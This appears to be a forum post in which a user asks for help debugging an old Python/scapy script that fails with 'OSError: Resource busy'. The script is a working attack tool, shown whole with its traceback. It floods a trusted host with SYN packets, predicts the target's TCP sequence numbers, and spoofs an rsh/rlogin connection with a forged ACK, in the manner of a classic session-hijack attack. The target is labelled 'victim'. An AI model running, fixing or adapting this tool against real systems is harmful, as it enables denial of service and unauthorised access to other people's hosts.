I'm working on re-writing a 2 decade old python program, but I'm hitting a 'resource busy' error when executing. Does anybody have any ideas? The program is below, and the output is below that. Thanks!
from scapy.all import *
import optparse
print "\n--Example format is -s (controller IP: 172.0.0.0), -S(spoof 172.6.5.12) & -t(target(--victim--)\n--"
def synFloodGate(src, tgt):
#this function sends TCP SYN's to exhaust the resources of the target,
#filling up its connection queue and silencing the ability to send TCP-Reset packets
for sport in range(1024, 65535):
IPlayer = IP(src=src, dst=tgt)
TCPlayer = TCP(sport=sport, dport=513)
pkt = IPlayer / TCPlayer
send(pkt)
def calTSN(tgt):
#targets IP address and returns ACK numbers [sequence]
seqNum = 0
preNum = 0
diffSeq = 0
try:
for xray in range(1,5):
if preNum != 0:
preNum = seqNum
pkt = IP(dst=tgt) / TCP()
ans = sr1(pkt, verbose=0)
seqNum = ans.getlayer(TCP).seq
diffSeq = seqNum - preNum
print '[+] TCP Seq Difference: ' + str(diffSeq)
return seqNum + diffSeq
except OSError, e:
print str(e)
exit(0)
def spoofConnection(src, tgt, ack):
# spoofs the IP connection
IPlayer = IP(src=src, dst=tgt)
TCPlayer = TCP(sport=513, dport=514)
synPkt = IPlayer / TCPlayer
send(synPkt)
IPlayer = IP(src=src, dst=tgt)
TCPlayer = TCP(sport=513, dport=514, ack=ack)
ackPkt = IPlayer / TCPlayer
send(ackPkt)
def main():
parser = optparse.OptionParser('usage%program ' + '-s<src for SYNGATE Flood> -S<src for spoofed connection>' +
' -t<target address>')
parser.add_option('-s', dest="synSpoof", type="string", help="specify src for SYN Flood")
parser.add_option('-S', dest="srcSpoof", type="string", help="specify src for spoofed conenction")
parser.add_option('-t', dest="tgt", type="string", help="specify target address")
(options, args) = parser.parse_args()
if options.synSpoof == None or options.srcSpoof == None or options.tgt == None:
print parser.usage
print "\nNow Exiting the FloodGate"
exit(0)
else:
synSpoof = options.synSpoof
srcSpoof = options.srcSpoof
tgt = options.tgt
print "[+] Starting SYN FloodGate to suppress remote server."
synFloodGate(synSpoof, srcSpoof)
print '[+] Calculating correct TCP Sequence Number.'
seqNum = calTSN(tgt) + 1
print '[+] Spoofing Connection...'
spoofConnection(srcSpoof, tgt, seqNum)
print '[+] Complete!'
if __name__ == "__main__":
main()
File "syn_floodgate.py", line 75, in <module>
main()
File "syn_floodgate.py", line 67, in main
synFloodGate(synSpoof, srcSpoof)
File "syn_floodgate.py", line 17, in synFloodGate
send(pkt)
File "build/bdist.macosx-10.8-intel/egg/scapy/sendrecv.py", line 247, in send
File "build/bdist.macosx-10.8-intel/egg/scapy/sendrecv.py", line 230, in __gen_send
File "build/bdist.macosx-10.8-intel/egg/scapy/arch/pcapdnet.py", line 234, in send
File "dnet.pyx", line 112, in dnet.eth.__init__
OSError: Resource busy